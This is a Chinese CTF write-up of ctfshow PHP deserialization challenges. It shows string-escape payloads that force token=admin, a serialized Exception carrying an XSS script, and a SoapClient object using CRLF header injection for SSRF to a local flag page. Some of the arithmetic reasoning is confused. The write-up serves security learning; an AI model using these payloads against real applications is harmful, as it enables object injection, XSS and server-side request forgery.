php反序列化原生态 ctfshow练习 字符串逃逸

web262

拿着题审计一下

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);   //实例化对象
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));  //设置cookie 并且进行加密
    echo 'Your message has been sent';
}       //这里有个过滤函数,过滤了fuck,替换成loveU  判断是增的替换 就思考是不是 占位运算

highlight_file(__FILE__);


?>

发现这个源码只有类的设置和waf过滤  并没有我们要的flag

发现有个 message.php

发现你妹的这个和上边的是一点关系也没有的

if(isset($_COOKIE['msg'])){      //判断cookie是否存在msg  对cookie进行先base64解密 再反序列化 那我们就需要对payload先进行反序列化 再进行base64解密
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

根据上边的逻辑就是 我们只要让 token=admin 就能输出flag

这个判断少个判断就是  他上面的替换没在这个判断cookie的逻辑内进行确认

所以利用这个我们只需要 把 token的值改为 admin 就能输出flag

但是这个题的实际考点就是字符串的逃逸   但是这个过滤没有应用起来  

如果过滤被应用了  那我们就需要换思路了
首先激活判断先让$f,$m,$t 进行调用 这个就可以让我们new新对象的时候进行创建赋值

构造pop  步骤依旧是先 找原来的和没有替换的

class message{
   public $from;
   public $msg;
   public $to;
   public $token='admin';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
function filter($msg){
   return str_replace('fuck', 'loveU',$msg);
}
$x=new message('1','fuck','3');
$y=serialize($x);
$z=filter($y);
echo $z;

输出一下

替换后的

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:4:"loveU";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
44 * 5 =110

替换前的

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:4:"fuck";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}

44 * 4 + 44 正好和上边的想等
发现问题   替换后  s:4 和 loveU  是不对应的
因为fuck的输入是我们可以进行控制的所以  就找两者后边的数和替换后字符位数的最大公倍数 (这个仅仅适用于 替换多余一个字符时)(44 和 5的最大公倍数)
后边是44位  我们就需要生成 44个fuck

payload=44*'fuck'+'\";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}'

做到替换前后上下是相等的  因为判断的条件是token是否为 admin 后边的admin保留就可以输出flag 

得知思路之后 先输出44 个fuck

使用之后再加上 后边的就是payload了

$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}','a','b');
$msg_1=serialize($msg);
$msg_2=filter($msg_1);
echo $msg_2;
echo "\n";
echo base64_encode($msg_2);

php反序列化原生态

什么是原生态:我的理解就是 利用php模式方法原有的类进行构造恶意的payload

浅析PHP原生类-安全KER - 安全资讯平台

假设给你这个源码  让你得到flag 我们发现我们是无法获取类设定的信息的所以就只能使用php原生自带的方法 去构造恶意的payload 

但是这个有个前提就是你得先知道他是什么的魔术方法

这个就是  echo  输出 echo是输出字符串的  所以 这个就是调用了  __toString的方法

然后寻找tostring的原生态使用脚本

注意:使用脚本之前要先把 php.ini的soap协议打开

 

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
//            '__destruct',
           '__toString',
//            '__wakeup',
            // '__call',
//            '__callStatic',
//            '__get',
//            '__set',
//            '__isset',
//            '__unset',
//            '__invoke',
//            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

运行脚本

发现获取了一堆

随便找一个 Exception::__toString

这个利用输出报错返回的话结果会更明显一些

    // public Exception::__toString(): 这个Exception就是个类
$xx = new Exception("<script>alert('xss')</script>");
$xxx=serialize($xx);
echo urlencode($xxx);
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A100%3A%22F%3A%5Cphp+study%5C061-Web%E6%94%BB%E9%98%B2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%26%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8%26CVE%E7%BB%95%E8%BF%87%26%E5%8E%9F%E7%94%9F%E7%B1%BB%E4%BB%A3%E7%A0%81%E7%AD%89%5Cysl_xssdemo.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A20%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

ctf show 

看这个简单的代码其实就知道是 原生态的利用了    并且这个调用的魔术方法是 __call(调用不存在的魔术方法的时候会触发)

那就去找他的原生态的类

那这个我们的首先反应是不是 xff 修改进入呢

发现不成功  就猜测这个可能是  结合的ssrf 让服务器本身去访问

SoapClient::__call

生成脚本的类

使用文章的这个ssrf进行操作一下

// //满足xff =127.0.0.1 token=ctfshow
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
// 调用原生类使用
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
// echo serialize($client);
echo urlencode(serialize($client));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/949660.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【C语言程序设计——循环程序设计】利用循环求数值 x 的平方根(头歌实践教学平台习题)【合集】

目录&#x1f60b; 任务描述 相关知识 一、求平方根的迭代公式 1. 原理 2. 代码实现示例 二、绝对值函数fabs() 1. 函数介绍 2. 代码示例 三、循环语句 1. for循环 2. while循环 3. do - while循环 编程要求 测试说明 通关代码 测试结果 任务描述 本关任务&…

使用 Three.js 创建动态粒子效果

今天&#xff0c;带大家使用粒子实现一个粒子飞毯的效果&#xff0c;我们先来看一下效果。 实现 初始化场景 首先创建一个场景&#xff0c;所有 3D 对象都会被添加到这个场景中。 const scene new THREE.Scene();相机和渲染器 配置相机和渲染器来捕捉和显示场景。 相机…

20250103在Ubuntu20.04.5的Android Studio 2024.2.1.12中跑通Hello World

20250103在Ubuntu20.04.5的Android Studio 2024.2.1.12中跑通Hello World 2025/1/3 14:06 百度&#xff1a;android studio helloworld android studio hello world kotlin helloword kotlin 串口 no run configurations added android studio no run configurations added 1、…

c#使用SevenZipSharp实现压缩文件和目录

封装了一个类&#xff0c;方便使用SevenZipSharp&#xff0c;支持加入进度显示事件。 双重加密压缩工具范例&#xff1a; using SevenZip; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.…

Ubuntu 20.04安装gcc

一、安装GCC 1.更新包列表 user596785154:~$ sudo apt update2.安装gcc user596785154:~$ sudo apt install gcc3.验证安装 user596785154:~$ gcc --version二 编译C文件 1.新建workspace文件夹 user596785154:~$ mkdir workspace2.进入workspace文件夹 user596785154:~…

网络协议安全的攻击手法

1.使用SYN Flood泛洪攻击&#xff1a; SYN Flood(半开放攻击)是最经典的ddos攻击之一&#xff0c;他利用了TCP协议的三次握手机制&#xff0c;攻击者通常利用工具或控制僵尸主机向服务器发送海量的变源端口的TCP SYN报文&#xff0c;服务器响应了这些报文后就会生成大量的半连…

晨辉面试抽签和评分管理系统之一:考生信息管理和编排

晨辉面试抽签和评分管理系统&#xff08;下载地址:www.chenhuisoft.cn&#xff09;是公务员招录面试、教师资格考试面试、企业招录面试等各类面试通用的考生编排、考生入场抽签、候考室倒计时管理、面试考官抽签、面试评分记录和成绩核算的面试全流程信息化管理软件。提供了考生…

鸿蒙的APP真机调试以及发布

目录&#xff1a; 1、创建好鸿蒙项目2、创建AGC项目3、实现自动签名3.1、手动方式创建签名文件和密码 4、运行项目5、无线真机调试 1、创建好鸿蒙项目 2、创建AGC项目 &#xff08;1&#xff09;在File->Project Structure->Project->Signing Configs中进行登录。(未…

H7-TOOL固件2.27发布,新增加40多款芯片脱机烧录,含多款车轨芯片,发布LUA API手册,CAN助手增加负载率,错误状态信息检测

H7-TOOL详细介绍&#xff08;含操作手册&#xff09;&#xff1a;H7-TOOL开发工具&#xff0c;1拖4/16脱机烧录&#xff0c;高速DAPLINK&#xff0c;RTOS Trace&#xff0c;CAN/串口助手, 示波器, RTT等&#xff0c;支持WiFi&#xff0c;以太网&#xff0c;高速USB和手持 - H7-…

SpringMVC(一)配置

目录 引入 第一章&#xff1a;Java web的发展历史 一、Model I和Model II 1.Model I开发模式 2.Model II开发模式 二. MVC模式 第二章&#xff1a;SpringMVC的入门案例 搭建SpringMVC的入门程序 1.创建新项目 2.等待加载导入坐标 3.处理xml文件和其他 导入tomcat 运…

Linux驱动开发 gpio_get_value读取输出io的电平返回值一直为0的问题

当时gpio子系统进行读取时返回必定是0 因此&#xff0c;首先必须使用platform驱动来管理gpio和pinctrl子系统&#xff0c;然后如果按照正点原子所教的设备树引脚设置为0x10B0则会导致读取到的电平值为0。 解决方法&#xff1a; 将设备树中的引脚设置为 pinctrl_gpioled: gpio…

uniapp-vue3 实现, 一款带有丝滑动画效果的单选框组件,支持微信小程序、H5等多端

采用 uniapp-vue3 实现, 是一款带有丝滑动画效果的单选框组件&#xff0c;提供点状、条状的动画过渡效果&#xff0c;支持多项自定义配置&#xff0c;适配 web、H5、微信小程序&#xff08;其他平台小程序未测试过&#xff0c;可自行尝试&#xff09; 可到插件市场下载尝试&…

Zero to JupyterHub with Kubernetes 下篇 - Jupyterhub on k8s

前言&#xff1a;纯个人记录使用。 搭建 Zero to JupyterHub with Kubernetes 上篇 - Kubernetes 离线二进制部署。搭建 Zero to JupyterHub with Kubernetes 中篇 - Kubernetes 常规使用记录。搭建 Zero to JupyterHub with Kubernetes 下篇 - Jupyterhub on k8s。 官方文档…

倾斜摄影相机在不动产确权登记和权籍调查中的应用

一、项目背景 1.1 项目背景 为贯彻落实中央、国务院关于实施乡村振兴战略、关于“扎实推进房地一体的农村集体建设用地和宅基地使用权确权登记颁证&#xff0c;完善农民闲置宅基地和闲置农房政策&#xff0c;探索宅基地所有权、资格权、使用权‘三权分置’”的要求&#xff0…

计算机网络 (22)网际协议IP

一、IP协议的基本定义 IP协议是Internet Protocol的缩写&#xff0c;即因特网协议。它是TCP/IP协议簇中最核心的协议&#xff0c;负责在网络中传送数据包&#xff0c;并提供寻址和路由功能。IP协议为每个连接在因特网上的主机&#xff08;或路由器&#xff09;分配一个唯一的IP…

网络安全测评技术与标准

18.1 概况 1&#xff09;概念 &#xff1a;指参照一定的标准规范要求&#xff0c;通过一系列的技术和管理方法&#xff0c;获取评估对象的网络安全状况信息&#xff0c;对其给出相应的网络安全情况综合判定。 网络安全测评对象通常包括信息系统的组成要素或信息系统自身。 2…

5个不同类型的mysql数据库安装

各种社区版本下载官方地址&#xff1a;MySQL :: MySQL Community Downloads 一、在线YUM仓库&#xff08;Linux&#xff09; 选择 MySQL Yum Repository 选择对应版本下载仓库安装包&#xff08;No thanks, just start my download.&#xff09; 下载方法1&#xff1a;下载到本…

Lua开发环境如何安装?保姆级教程

大家好&#xff0c;我是袁庭新。Lua开发环境如何安装搭建&#xff1f;这套篇文章帮你搞定&#xff5e; CentOS 7系统默认已经安装了Lua语言环境&#xff0c;因此可直接运行Lua代码。可以使用以下命令查看当前系统中默认自带的Lua版本。 # 查看系统默认自带的Lua版本 [rootloc…

Linux 系统搭建网络传输环境汇总

Ubuntu 系统搭建 TFTP 服务器 1. 创建 /home/username/workspace/tftp 目录并赋予最大权限&#xff0c;username 是自己用户名 sudo mkdir -p /home/username/workspace/tftp sudo chmod 777 /home/username/workspace/tftp 2. 安装 tftp-hpa&#xff08; 客户端软件包&#x…

深度学习中CUDA环境安装教程

首先说明&#xff0c;本人是小白&#xff0c;一次安装&#xff0c;可能有不对的地方&#xff0c;望包含。 安装CUDA 因为我们是深度学习&#xff0c;很多时候要用到gpu进行训练&#xff0c;所以我们需要一种方式加快训练速度。 通俗地说&#xff0c;CUDA是一种协助“CPU任务分…